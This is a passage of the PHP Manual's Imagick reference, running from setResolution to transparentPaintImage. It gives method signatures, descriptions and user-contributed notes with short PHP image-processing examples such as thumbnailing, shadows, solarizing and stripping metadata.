$im->newPseudoImage(100, 100, "caption:Hello");

/* Do something with the image */
?>

User Contributed Notes

There are no user contributed notes for this page.


Sets the image resolution

  • « Imagick::setPointSize
  • Imagick::setResourceLimit »
  • PHP Manual
  • Imagick
  • Sets the image resolution

Imagick::setResolution

(PECL imagick 2.0.0)

Imagick::setResolution — Sets the image resolution

Description

bool Imagick::setResolution ( float $x_resolution , float $y_resolution )

Sets the image resolution.

Parameters

x_resolution

The horizontal resolution.

y_resolution

The vertical resolution.

Return Values

Returns TRUE on success.

Notes

Imagick::setResolution() must be called before loading or creating an image.

See Also

  • Imagick::setImageResolution() - Sets the image resolution
  • Imagick::getImageResolution() - Gets the image X and Y resolution

User Contributed Notes

carter dot sharon at gmail dot com 11-Oct-2010 08:07
If you are reading or creating a new image and want to set the resolution you need to set the Image Units. Undefined image units will cause imagick to use the default resolution (72x72).

<?php
$img = new Imagick();

$img->setResolution(300,300);
$img->newimage(100,100,'none');
$img->setImageFormat('png');
// imagick::RESOLUTION_UNDEFINED  imagick::RESOLUTION_PIXELSPERINCH  imagick::RESOLUTION_PIXELSPERCENTIMETER

$img->setImageUnits(imagick::RESOLUTION_PIXELSPERINCH);

print_r($img->identifyImage());

?>

Output
Array (
[resolution] => Array ( [x] => 300 [y] => 300 )
[units] => PixelsPerInch
)
sualk at lednew dot de 07-Jan-2010 03:50
This method uses the "convert -density {$x_resolution}x{$y_resolution}" parameter. However be aware, that Imagick::setResolution() is much more alike the "convert -density" option than Imagick::setImageResolution()

It's very irritating that both Imagick::setResolution() and Imagick::setImageResolution() are introduced with "Sets the image resolution."

Use Imagick::setResolution() prior to reading a raster image. This method does not affect an image. However this method tells the image to which size it has to be sized in relation to images inherent resolution! With this method you are able to affect the real pixel-size of an image after reading. E.g. your image has a size of 100x100 pixels and an inherent resolution of 72. Setting the Resolution to 144 and reading this image results in a new image size of 200x200 pixels.

<?php
$im = new Imagick();
$im->setResolution(144,144);
$im->readImage("test.eps");
$im->setImageFormat("png");
header("Content-Type: image/png");
echo $im;
?>

Use Imagick::setImageResolution() to alter the resolution of an already read image. This method does not actually change the size of an image, but has influence to methods, which depends on a given image resolution like Imagick::resampleImage(). E.g. your image has a size of 100x100 pixels and a resolution of 72. Setting ImageResolution to 144 does nothing, unless you are resampling image afterwards in relation to the ImageResolution you set!

<?php
$im = new Imagick();
$im->readImage("test.eps");
$im->setImageResolution(144,144);
$im->resampleImage  (288,288,imagick::FILTER_UNDEFINED,1);
$im->setImageFormat("png");
header("Content-Type: image/png");
echo $im;
?>

which actually does the same like

<?php
$im = new Imagick();
$im->readImage("test.eps");
$im->setImageResolution(72,72);
$im->resampleImage  (144,144,imagick::FILTER_UNDEFINED,1);
$im->setImageFormat("png");
header("Content-Type: image/png");
echo $im;
?>


Sets the limit for a particular resource in megabytes

  • « Imagick::setResolution
  • Imagick::setSamplingFactors »
  • PHP Manual
  • Imagick
  • Sets the limit for a particular resource in megabytes

Imagick::setResourceLimit

(PECL imagick 2.0.0)

Imagick::setResourceLimit — Sets the limit for a particular resource in megabytes

Description

bool Imagick::setResourceLimit ( int $type , int $limit )

This method is used to modify the resource limits of the underlying ImageMagick library.

Parameters

type

Refer to the list of resourcetype constants.

limit

The resource limit. The unit depends on the type of the resource being limited.

Return Values

Returns TRUE on success.

User Contributed Notes

Anonymous user 13-May-2014 05:30
Note that the limits are given in bytes instead of megabytes. You can verify with:

<?php echo Imagick::getResourceLimit(Imagick::RESOURCETYPE_MEMORY); ?>
Arkadiy Kulev 13-Feb-2012 08:54
This list should help setting the limits:

imagick::RESOURCETYPE_AREA (integer)   //equivalent of MAGICK_AREA_LIMIT
imagick::RESOURCETYPE_DISK (integer)   //equivalent of MAGICK_DISK_LIMIT
imagick::RESOURCETYPE_FILE (integer)   //equivalent of MAGICK_FILE_LIMIT
imagick::RESOURCETYPE_MAP (integer)    //equivalent of MAGICK_MAP_LIMIT
imagick::RESOURCETYPE_MEMORY (integer) //equivalent of MAGICK_MEMORY_LIMIT
rodneyrehm 08-Nov-2011 09:00
IMagick::RESOURCETYPE_THREADS is missing, yet you're still able to limit the number of thready ImageMagick should use:

<?php
// IMagick::setResourceLimit(IMagick::RESOURCETYPE_THREADS, 2);
IMagick::setResourceLimit(6, 2);


Sets the image sampling factors

  • « Imagick::setResourceLimit
  • Imagick::setSize »
  • PHP Manual
  • Imagick
  • Sets the image sampling factors

Imagick::setSamplingFactors

(PECL imagick 2.0.0)

Imagick::setSamplingFactors — Sets the image sampling factors

Description

bool Imagick::setSamplingFactors ( array $factors )

Sets the image sampling factors.

Parameters

factors

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Sets the size of the Imagick object

  • « Imagick::setSamplingFactors
  • Imagick::setSizeOffset »
  • PHP Manual
  • Imagick
  • Sets the size of the Imagick object

Imagick::setSize

(PECL imagick 2.0.0)

Imagick::setSize — Sets the size of the Imagick object

Description

bool Imagick::setSize ( int $columns , int $rows )

Sets the size of the Imagick object. Set it before you read a raw image format such as RGB, GRAY, or CMYK.

Parameters

columns

rows

Return Values

Returns TRUE on success.

User Contributed Notes

Mike Pratt 26-Sep-2012 02:48
Using setSize before reading an image file tells ImageMagick to resize the image immediately on load - this can give a substantial increase in performance time and save memory and disk resources for large images:

<?php

$image = new Imagick();
$image->setSize(800,600);
$image->readImage($file);

?>

This might also save you having to call thumbnailImage to resize the image.

On my server, this only made a difference with jpgs - pngs and gifs were loaded at full size which took much longer (30s or more compared to 6s for a similar sized jpg).


Sets the size and offset of the Imagick object

  • « Imagick::setSize
  • Imagick::setType »
  • PHP Manual
  • Imagick
  • Sets the size and offset of the Imagick object

Imagick::setSizeOffset

(PECL imagick 2.0.0)

Imagick::setSizeOffset — Sets the size and offset of the Imagick object

Description

bool Imagick::setSizeOffset ( int $columns , int $rows , int $offset )

Sets the size and offset of the Imagick object. Set it before you read a raw image format such as RGB, GRAY, or CMYK. This method is available if Imagick has been compiled against ImageMagick version 6.2.9 or newer.

Parameters

columns

The width in pixels.

rows

The height in pixels.

offset

The image offset.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Sets the image type attribute

  • « Imagick::setSizeOffset
  • Imagick::shadeImage »
  • PHP Manual
  • Imagick
  • Sets the image type attribute

Imagick::setType

(PECL imagick 2.0.0)

Imagick::setType — Sets the image type attribute

Description

bool Imagick::setType ( int $image_type )

Sets the image type attribute.

Parameters

image_type

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Creates a 3D effect

  • « Imagick::setType
  • Imagick::shadowImage »
  • PHP Manual
  • Imagick
  • Creates a 3D effect

Imagick::shadeImage

(PECL imagick 2.0.0)

Imagick::shadeImage — Creates a 3D effect

Description

bool Imagick::shadeImage ( bool $gray , float $azimuth , float $elevation )

Shines a distant light on an image to create a three-dimensional effect. You control the positioning of the light with azimuth and elevation; azimuth is measured in degrees off the x axis and elevation is measured in pixels above the Z axis. This method is available if Imagick has been compiled against ImageMagick version 6.2.9 or newer.

Parameters

gray

A value other than zero shades the intensity of each pixel.

azimuth

Defines the light source direction.

elevation

Defines the light source direction.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on failure.

User Contributed Notes

There are no user contributed notes for this page.


Simulates an image shadow

  • « Imagick::shadeImage
  • Imagick::sharpenImage »
  • PHP Manual
  • Imagick
  • Simulates an image shadow

Imagick::shadowImage

(PECL imagick 2.0.0)

Imagick::shadowImage — Simulates an image shadow

Description

bool Imagick::shadowImage ( float $opacity , float $sigma , int $x , int $y )

Simulates an image shadow.

Parameters

opacity

sigma

x

y

Return Values

Returns TRUE on success.

User Contributed Notes

nilayanand at gmail dot com 27-Jul-2009 07:43
<?php
/* Read the image into the object */
$im = new Imagick( 'a.jpg' );
$im->setImageFormat("png");

/* Make the image a little smaller, maintain aspect ratio */
$im->thumbnailImage( 200, null );

/* Clone the current object */
$shadow = $im->clone();

/* Set image background color to black
        (this is the color of the shadow) */
$shadow->setImageBackgroundColor( new ImagickPixel( 'black' ) );

/* Create the shadow */
$shadow->shadowImage( 80, 3, 5, 5 );

/* Imagick::shadowImage only creates the shadow.
        That is why the original image is composited over it */
$shadow->compositeImage( $im, Imagick::COMPOSITE_OVER, 0, 0 );

/* Display the image */
header( "Content-Type: image/jpeg" );
echo $shadow;
?>


Sharpens an image

  • « Imagick::shadowImage
  • Imagick::shaveImage »
  • PHP Manual
  • Imagick
  • Sharpens an image

Imagick::sharpenImage

(PECL imagick 2.0.0)

Imagick::sharpenImage — Sharpens an image

Description

bool Imagick::sharpenImage ( float $radius , float $sigma [, int $channel = Imagick::CHANNEL_ALL ] )

Sharpens an image. We convolve the image with a Gaussian operator of the given radius and standard deviation (sigma). For reasonable results, the radius should be larger than sigma. Use a radius of 0 and Imagick::sharpenImage() selects a suitable radius for you.

Parameters

radius

sigma

channel

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Shaves pixels from the image edges

  • « Imagick::sharpenImage
  • Imagick::shearImage »
  • PHP Manual
  • Imagick
  • Shaves pixels from the image edges

Imagick::shaveImage

(PECL imagick 2.0.0)

Imagick::shaveImage — Shaves pixels from the image edges

Description

bool Imagick::shaveImage ( int $columns , int $rows )

Shaves pixels from the image edges. It allocates the memory necessary for the new Image structure and returns a pointer to the new image.

Parameters

columns

rows

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Creating a parallelogram

  • « Imagick::shaveImage
  • Imagick::sigmoidalContrastImage »
  • PHP Manual
  • Imagick
  • Creating a parallelogram

Imagick::shearImage

(PECL imagick 2.0.0)

Imagick::shearImage — Creating a parallelogram

Description

bool Imagick::shearImage ( mixed $background , float $x_shear , float $y_shear )

Slides one edge of an image along the X or Y axis, creating a parallelogram. An X direction shear slides an edge along the X axis, while a Y direction shear slides an edge along the Y axis. The amount of the shear is controlled by a shear angle. For X direction shears, x_shear is measured relative to the Y axis, and similarly, for Y direction shears y_shear is measured relative to the X axis. Empty triangles left over from shearing the image are filled with the background color.

Parameters

background

The background color

x_shear

The number of degrees to shear on the x axis

y_shear

The number of degrees to shear on the y axis

Return Values

Returns TRUE on success.

Changelog

Version | Description
2.1.0 | Now allows a string representing the color as the first parameter. Previous versions allow only an ImagickPixel object.

User Contributed Notes

raja at tweetchennai dot com 13-Aug-2009 02:42
Eg:

<?php
$image = new Imagick('pic.png');
$image ->shearImage('grey', 10 , 5);
$image ->writeImage('final.png');
?>


Adjusts the contrast of an image

  • « Imagick::shearImage
  • Imagick::sketchImage »
  • PHP Manual
  • Imagick
  • Adjusts the contrast of an image

Imagick::sigmoidalContrastImage

(PECL imagick 2.0.0)

Imagick::sigmoidalContrastImage — Adjusts the contrast of an image

Description

bool Imagick::sigmoidalContrastImage ( bool $sharpen , float $alpha , float $beta [, int $channel = Imagick::CHANNEL_ALL ] )

Adjusts the contrast of an image with a non-linear sigmoidal contrast algorithm. Increase the contrast of the image using a sigmoidal transfer function without saturating highlights or shadows. Contrast indicates how much to increase the contrast (0 is none; 3 is typical; 20 is pushing it); mid-point indicates where midtones fall in the resultant image (0 is white; 50 is middle-gray; 100 is black). Set sharpen to TRUE to increase the image contrast otherwise the contrast is reduced.

See also » ImageMagick v6 Examples - Image Transformations — Sigmoidal Non-linearity Contrast

Parameters

sharpen

If true increase the contrast, if false decrease the contrast.

alpha

The amount of contrast to apply. 1 is very little, 5 is a significant amount, 20 is extreme.

beta

Where the midpoint of the gradient will be. This value should be in the range 0 to 1 - mutliplied by the quantum value for ImageMagick.

channel

Which color channels the contrast will be applied to.

Return Values

Returns TRUE on success.

Examples

Example #1 Create a gradient image using Imagick::sigmoidalContrastImage() suitable for blending two images together smoothly, with the blending defined by $contrast and $the midpoint

<?php

function generateBlendImage($width, $height, $contrast = 10, $midpoint = 0.5) {
    $imagick = new Imagick();
    $imagick->newPseudoImage($width, $height, 'gradient:black-white');
    $quanta = $imagick->getQuantumRange();
    $imagick->sigmoidalContrastImage(true, $contrast, $midpoint * $quanta["quantumRangeLong"]);

    return $imagick;
}

?>

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

acameron at theatomgroup dot com 18-Dec-2013 04:48
The documentation for this function really isn't useful or helpful at all. "Sharpen", "Contrast" and "Midpoint" aren't the names of the params, which are referred to as "alpha" and "beta".

The Imagemagick manual entry:

For those interested, the corrected formula for the 'sigmoidal non-linearity contrast control' is...
( 1/(1+exp(β*(α-u))) - 1/(1+exp(β)) ) / ( 1/(1+exp(β*(α-1))) - 1/(1+exp(β*α)) )
Where α is the threshold level, and β the contrast factor to be applied.
The formula is actually very simple exponential curve, with the bulk of the above formula is designed to ensure that 0 remains zero and 1 remains one. That is, the graph always goes though the points 0,0 and 1,1. And the highest gradient of change is at the given threshold.

Src: http://www.imagemagick.org/Usage/color_mods/#sigmoidal

In the Imagick extension source, the function call is:

 status = MagickSigmoidalContrastImageChannel(intern->magick_wand, channel, sharpen, alpha, beta);

Src: https://github.com/mkoppanen/imagick/

Referring back to the binary API call gives:

foreign import ccall "MagickSigmoidalContrastImageChannel" magickSigmoidalContrastImageChannel
  :: Ptr MagickWand
  -> ChannelType       -- ^ identify which channel to level: `redChannel`, `greenChannel`
  -> MagickBooleanType -- ^ increase or decrease image contrast
  -> CDouble           -- ^ strength of the contrast, the larger the number the more 'threshold-like' it becomes
  -> CDouble           -- ^ midpoint of the function as a color value 0 to `quantumRange`
  -> IO MagickBooleanType

Src: http://hackage.haskell.org/package/imagemagick-0.0.2/docs/src/Graphics-ImageMagick-MagickWand-FFI-WandImage.html

So the parameters should apparently be interpreted:

Sharpen:     0/1 (increase/decrease contrast)
Alpha:       Strength of the contrast (typically 3-20)
Beta:        Midpoint of the contrast (typically 50)


Simulates a pencil sketch

  • « Imagick::sigmoidalContrastImage
  • Imagick::solarizeImage »
  • PHP Manual
  • Imagick
  • Simulates a pencil sketch

Imagick::sketchImage

(PECL imagick 2.0.0)

Imagick::sketchImage — Simulates a pencil sketch

Description

bool Imagick::sketchImage ( float $radius , float $sigma , float $angle )

Simulates a pencil sketch. We convolve the image with a Gaussian operator of the given radius and standard deviation (sigma). For reasonable results, radius should be larger than sigma. Use a radius of 0 and Imagick::sketchImage() selects a suitable radius for you. Angle gives the angle of the blurring motion. This method is available if Imagick has been compiled against ImageMagick version 6.2.9 or newer.

Parameters

radius

The radius of the Gaussian, in pixels, not counting the center pixel

sigma

The standard deviation of the Gaussian, in pixels.

angle

Apply the effect along this angle.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Applies a solarizing effect to the image

  • « Imagick::sketchImage
  • Imagick::sparseColorImage »
  • PHP Manual
  • Imagick
  • Applies a solarizing effect to the image

Imagick::solarizeImage

(PECL imagick 2.0.0)

Imagick::solarizeImage — Applies a solarizing effect to the image

Description

bool Imagick::solarizeImage ( int $threshold )

Applies a special effect to the image, similar to the effect achieved in a photo darkroom by selectively exposing areas of photo sensitive paper to light. Threshold ranges from 0 to QuantumRange and is a measure of the extent of the solarization.

Parameters

threshold

Return Values

Returns TRUE on success.

User Contributed Notes

holdoffhunger at gmail dot com 03-May-2012 07:10
This is something neat that you can do to an image as part of making it artistic, probably in conjunction with other ImageMagick effects, like PosterizeImage and OilPaintImage.  SolarizeImage shifts the whole color spectrum toward red for an image -- white gets pushed directly into red, blues get pushed into greens, etc..  It is mostly a psychedelic effect.  You have the option of choosing one parameter for "Threshold", which is really simply how much of this effect you want to have in an image.  The minimum value is 0, and using a negative number defaults it to 0.  The maximum value is the Quantum Threshold.  You can get this value by the ImageMagick function getQuantumRange.  On my install of PHP, that value is set to 65535 (2^16).  Going higher than the Quantum Range defaults to the Quantum Range.  An image with this function performed on it at Threshold 0 has the maximum effect performed, and at Threshold maximum the image has no changes made to it at all.

And now a simple demonstration of the code :

<?php

            // Author: holdoffhunger@gmail.com

        // Grab Image File Data
        // ---------------------------------------------

    $file_to_grab_with_location = "graphics_engine/image_workshop_directory/test.bmp";

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_handle_for_viewing_image_file = fopen($file_to_grab_with_location, 'a+');

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Perform Function
        // ---------------------------------------------

    $imagick_type->solarizeImage(30000);

        // Filename
        // ---------------------------------------------

    $file_to_save_with_location = "graphics_engine/image_workshop_directory/test_new.bmp";

        // Save File
        // ---------------------------------------------

    $file_handle_for_saving_image_file = fopen($file_to_save_with_location, 'a+');

    $imagick_type->writeImageFile($file_handle_for_saving_image_file);

?>


Interpolates colors

  • « Imagick::solarizeImage
  • Imagick::spliceImage »
  • PHP Manual
  • Imagick
  • Interpolates colors

Imagick::sparseColorImage

(No version information available, might only be in Git)

Imagick::sparseColorImage — Interpolates colors

Description

public bool Imagick::sparseColorImage ( int $SPARSE_METHOD , array $arguments [, int $channel = Imagick::CHANNEL_DEFAULT ] )

Given the arguments array containing numeric values this method interpolates the colors found at those coordinates across the whole image using sparse_method. This method is available if Imagick has been compiled against ImageMagick version 6.4.5 or newer.

Parameters

SPARSE_METHOD

Refer to this list of sparse method constants

arguments

An array containing the coordinates. The array is in format array(1,1, 2,45)

CHANNEL

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channel constants using bitwise operators. Defaults to Imagick::CHANNEL_DEFAULT. Refer to this list of channel constants

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Splices a solid color into the image

  • « Imagick::sparseColorImage
  • Imagick::spreadImage »
  • PHP Manual
  • Imagick
  • Splices a solid color into the image

Imagick::spliceImage

(PECL imagick 2.0.0)

Imagick::spliceImage — Splices a solid color into the image

Description

bool Imagick::spliceImage ( int $width , int $height , int $x , int $y )

Splices a solid color into the image.

Parameters

width

height

x

y

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Randomly displaces each pixel in a block

  • « Imagick::spliceImage
  • Imagick::steganoImage »
  • PHP Manual
  • Imagick
  • Randomly displaces each pixel in a block

Imagick::spreadImage

(PECL imagick 2.0.0)

Imagick::spreadImage — Randomly displaces each pixel in a block

Description

bool Imagick::spreadImage ( float $radius )

Special effects method that randomly displaces each pixel in a block defined by the radius parameter.

Parameters

radius

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Hides a digital watermark within the image

  • « Imagick::spreadImage
  • Imagick::stereoImage »
  • PHP Manual
  • Imagick
  • Hides a digital watermark within the image

Imagick::steganoImage

(PECL imagick 2.0.0)

Imagick::steganoImage — Hides a digital watermark within the image

Description

Imagick Imagick::steganoImage ( Imagick $watermark_wand , int $offset )

Hides a digital watermark within the image. Recover the hidden watermark later to prove that the authenticity of an image. Offset defines the start position within the image to hide the watermark.

Parameters

watermark_wand

offset

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Composites two images

  • « Imagick::steganoImage
  • Imagick::stripImage »
  • PHP Manual
  • Imagick
  • Composites two images

Imagick::stereoImage

(PECL imagick 2.0.0)

Imagick::stereoImage — Composites two images

Description

bool Imagick::stereoImage ( Imagick $offset_wand )

Composites two images and produces a single image that is the composite of a left and right image of a stereo pair.

Parameters

offset_wand

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Strips an image of all profiles and comments

  • « Imagick::stereoImage
  • Imagick::swirlImage »
  • PHP Manual
  • Imagick
  • Strips an image of all profiles and comments

Imagick::stripImage

(PECL imagick 2.0.0)

Imagick::stripImage — Strips an image of all profiles and comments

Description

bool Imagick::stripImage ( void )

Strips an image of all profiles and comments.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

g dot a dot karthikeyan at gmail dot com 23-Dec-2013 04:09
Please note that striping off the exif information without handling the orientation information available in the exif will lead to wrong orientation of the image
pengc99 03-May-2011 07:09
this will actually clear exif data so if you run an image uploading script with privacy concerns, this will effectively clear all GPS / metadata from the image.


Swirls the pixels about the center of the image

  • « Imagick::stripImage
  • Imagick::textureImage »
  • PHP Manual
  • Imagick
  • Swirls the pixels about the center of the image

Imagick::swirlImage

(PECL imagick 2.0.0)

Imagick::swirlImage — Swirls the pixels about the center of the image

Description

bool Imagick::swirlImage ( float $degrees )

Swirls the pixels about the center of the image, where degrees indicates the sweep of the arc through which each pixel is moved. You get a more dramatic effect as the degrees move from 1 to 360.

Parameters

degrees

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

Anonymous 06-Nov-2009 05:47
<?php

$img = new Imagick('blablabla.jpg');
$img->swirlImage ( 20.0 );
header("Content-Type: image/jpeg");
echo $img;

?>


Repeatedly tiles the texture image

  • « Imagick::swirlImage
  • Imagick::thresholdImage »
  • PHP Manual
  • Imagick
  • Repeatedly tiles the texture image

Imagick::textureImage

(PECL imagick 2.0.0)

Imagick::textureImage — Repeatedly tiles the texture image

Description

bool Imagick::textureImage ( Imagick $texture_wand )

Repeatedly tiles the texture image across and down the image canvas.

Parameters

texture_wand

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

Dirk 13-Jan-2014 12:56
This method doesn't actually return TRUE on success, it returns an Imagick with the texture applied, but the original Imagick object is not modified. As per the other examples on here, you need to use the result of textureImage call as your new tiled image.
truthseekercz at email dot cz 08-Sep-2010 02:41
<?php

$image = new Imagick();
$image->newImage(500, 500, new ImagickPixel('red'));
$image->setImageFormat("png");
$type=$image->getFormat();
header("Content-type: $type");

$texture = new Imagick();
$texture->readImage('texture.png');
$image = $image->textureImage($texture);

echo $image;

?>

This works for me, however, I give no guarantees that the above example is the proper usage of this function.


Changes the value of individual pixels based on a threshold

  • « Imagick::textureImage
  • Imagick::thumbnailImage »
  • PHP Manual
  • Imagick
  • Changes the value of individual pixels based on a threshold

Imagick::thresholdImage

(PECL imagick 2.0.0)

Imagick::thresholdImage — Changes the value of individual pixels based on a threshold

Description

bool Imagick::thresholdImage ( float $threshold [, int $channel = Imagick::CHANNEL_ALL ] )

Changes the value of individual pixels based on the intensity of each pixel compared to threshold. The result is a high-contrast, two color image.

Parameters

threshold

channel

Return Values

Returns TRUE on success.

User Contributed Notes

php t traction dot de 29-Jun-2012 04:25
getQuantumRange() can be handy here:

<?php
$i = new Imagick($imageFile);
$max = $i->getQuantumRange();
$max = $max["quantumRangeLong"];
$i->thresholdImage(0.77 * $max);
?>


Changes the size of an image

  • « Imagick::thresholdImage
  • Imagick::tintImage »
  • PHP Manual
  • Imagick
  • Changes the size of an image

Imagick::thumbnailImage

(PECL imagick 2.0.0)

Imagick::thumbnailImage — Changes the size of an image

Description

bool Imagick::thumbnailImage ( int $columns , int $rows [, bool $bestfit = false [, bool $fill = false ]] )

Changes the size of an image to the given dimensions and removes any associated profiles. The goal is to produce small, low cost thumbnail images suited for display on the Web. If TRUE is given as a third parameter then columns and rows parameters are used as maximums for each side. Both sides will be scaled down until they match or are smaller than the parameter given for the side.

Note: The behavior of the parameter bestfit changed in Imagick 3.0.0. Before this version given dimensions 400x400 an image of dimensions 200x150 would be left untouched. In Imagick 3.0.0 and later the image would be scaled up to size 400x300 as this is the "best fit" for the given dimensions. If bestfit parameter is used both width and height must be given.

Parameters

columns

Image width

rows

Image height

bestfit

Whether to force maximum values

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

Anonymous 14-Apr-2012 05:35
If the 3rd parameter is true, the image will be resized in such a way that it’ll be contained within the dimensions mentioned.
It’s like changing the dimensions of the image so that it can be contained in a box of given dimension.

Eg: Image’s dimension is 1600*800. If we use thumbnailImage(400, 400, true), the new image’s dimension will be 400*200.

Some of the previous notes in this page mentions that the image is resized proportionally so that its _smallest_ dimension matches the width or height specified, NOT both.
But this is not the case now. Both width & height of the image will be <= that mentioned in thumbnailImage().
Maybe imagick changed/updated the functionality.
web at johnbaldock dot com 22-Mar-2012 04:25
When shrinking a jpg you can get more then double the performance if you use <?php $image->setOption('jpeg:size', '800x532') ?>, exchanging 800x532 to the resolution you want the final image to be. For instance instead of this:

<?php
$image = new Imagick('foo.jpg');
?>

You would use this:

<?php
$image = new Imagick();
$image->setOption('jpeg:size', '800x532');
$image->readImage('foo.jpg');
?>
jarrod at jarrodchristman dot com 29-Oct-2011 05:31
Even though thumbnailImage is meant to produce the smallest file size image possible, i found it didn't. I put together this code and bordering different compression settings, found it produced the smallest file size:

<?php
// Max vert or horiz resolution
$maxsize=550;

// create new Imagick object
$image = new Imagick('input_image_filename_and_location');

// Resizes to whichever is larger, width or height
if($image->getImageHeight() <= $image->getImageWidth())
{
// Resize image using the lanczos resampling algorithm based on width
$image->resizeImage($maxsize,0,Imagick::FILTER_LANCZOS,1);
}
else
{
// Resize image using the lanczos resampling algorithm based on height
$image->resizeImage(0,$maxsize,Imagick::FILTER_LANCZOS,1);
}

// Set to use jpeg compression
$image->setImageCompression(Imagick::COMPRESSION_JPEG);
// Set compression level (1 lowest quality, 100 highest quality)
$image->setImageCompressionQuality(75);
// Strip out unneeded meta data
$image->stripImage();
// Writes resultant image to output directory
$image->writeImage('output_image_filename_and_location');
// Destroys Imagick object, freeing allocated resources in the process
$image->destroy();

?>

I found setCompression to not function at all and had to use setImageCompression. The stripImage call is needed and strips out unneeded meta data. You can choose whatever filter you want, but i found lanczos to be the best for image reduction, though it is more computationally heavy.
Anonymous 02-Jul-2008 01:15
Here is a function to calculate the new dimensions of a thumbnail, to fit within the given dimensions on both sides.

<?php
/**
 * Calculate new image dimensions to new constraints
 *
 * @param Original X size in pixels
 * @param Original Y size in pixels
 * @return New X maximum size in pixels
 * @return New Y maximum size in pixels
 */
function scaleImage($x,$y,$cx,$cy) {
    //Set the default NEW values to be the old, in case it doesn't even need scaling
    list($nx,$ny)=array($x,$y);

    //If image is generally smaller, don't even bother
    if ($x>=$cx || $y>=$cx) {

        //Work out ratios
        if ($x>0) $rx=$cx/$x;
        if ($y>0) $ry=$cy/$y;

        //Use the lowest ratio, to ensure we don't go over the wanted image size
        if ($rx>$ry) {
            $r=$ry;
        } else {
            $r=$rx;
        }

        //Calculate the new size based on the chosen ratio
        $nx=intval($x*$r);
        $ny=intval($y*$r);
    }

    //Return the results
    return array($nx,$ny);
}
?>

Use it like this:

<?php
//Read original image and create Imagick object
$thumb=new Imagick($originalImageFilename);

//Work out new dimensions
list($newX,$newY)=scaleImage(
        $thumb->getImageWidth(),
        $thumb->getImageHeight(),
        $newMaximumWidth,
        $newMaximumHeight);

//Scale the image
$thumb->thumbnailImage($newX,$newY);

//Write the new image to a file
$thumb->writeImage($thumbnailFilename);
?>
n-sw-bit at ya dot ru 09-Jun-2008 06:48
If you want to resize your picture to fit smallest parameter:

$fitbyWidth = (($maxWidth/$w)<($maxHeight/$h)) ?true:false;

if($fitbyWidth){
    $im->thumbnailImage($maxWidth, 0, false);
}else{
    $im->thumbnailImage(0, $maxHeight, false);
}
sgarner at expio dot co dot nz 17-Oct-2007 07:11
With $fit == true, the image is resized proportionally so that its _smallest_ dimension matches the width or height specified, NOT both.

For example, if you say thumbnailImage(400, 400, true), on an image of 1600x800, it will be resized to 800x400, NOT 400x200 as you might expect.

The solution is to compare the original image's dimensions to the specified dimensions, and substitute zero for the smaller dimension, and set $fit = false.

i.e.: thumbnailImage(400, 0, false) would resize that 1600x800 image to 400x200.
raybdbomb . gmail 11-Sep-2007 01:18
As noted here
http://php.net/manual/en/ref.imagick.php
With either of the params as 0, the aspect ratio is maintained.


Applies a color vector to each pixel in the image

  • « Imagick::thumbnailImage
  • Imagick::transformImage »
  • PHP Manual
  • Imagick
  • Applies a color vector to each pixel in the image

Imagick::tintImage

(PECL imagick 2.0.0)

Imagick::tintImage — Applies a color vector to each pixel in the image

Description

bool Imagick::tintImage ( mixed $tint , mixed $opacity )

Applies a color vector to each pixel in the image. The length of the vector is 0 for black and white and at its maximum for the midtones. The vector weighing function is f(x)=(1-(4.0*((x-0.5)*(x-0.5)))).

Parameters

tint

opacity

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Changelog

Version | Description
2.1.0 | Now allows a string representing the color as the first parameter and a float representing the opacity value as the second parameter. Previous versions allow only an ImagickPixel objects.

User Contributed Notes

There are no user contributed notes for this page.


Convenience method for setting crop size and the image geometry

  • « Imagick::tintImage
  • Imagick::transparentPaintImage »
  • PHP Manual
  • Imagick
  • Convenience method for setting crop size and the image geometry

Imagick::transformImage

(PECL imagick 2.0.0)

Imagick::transformImage — Convenience method for setting crop size and the image geometry

Description

Imagick Imagick::transformImage ( string $crop , string $geometry )

A convenience method for setting crop size and the image geometry from strings. This method is available if Imagick has been compiled against ImageMagick version 6.2.9 or newer.

Parameters

crop

A crop geometry string. This geometry defines a subregion of the image to crop.

geometry

An image geometry string. This geometry defines the final size of the image.

Return Values

Returns TRUE on success.

Examples

Example #1 Using Imagick::transformImage():

The example creates a 100x100 black image.

<?php
$image = new Imagick();
$image->newImage(300, 200, "black");
$new_image = $image->transformImage("100x100", "100x100");
$new_image->writeImage('test_out.jpg');
?>

See Also

  • Imagick::cropImage() - Extracts a region of the image
  • Imagick::resizeImage() - Scales an image
  • Imagick::thumbnailImage() - Changes the size of an image

User Contributed Notes

There are no user contributed notes for this page.


Paints pixels transparent

  • « Imagick::transformImage
  • Imagick::transposeImage »
  • PHP Manual
  • Imagick
  • Paints pixels transparent

Imagick::transparentPaintImage

(No version information available, might only be in Git)

Imagick::transparentPaintImage — Paints pixels transparent

Description

bool Imagick::transparentPaintImage ( mixed $target , float $alpha , float $fuzz , bool $invert )

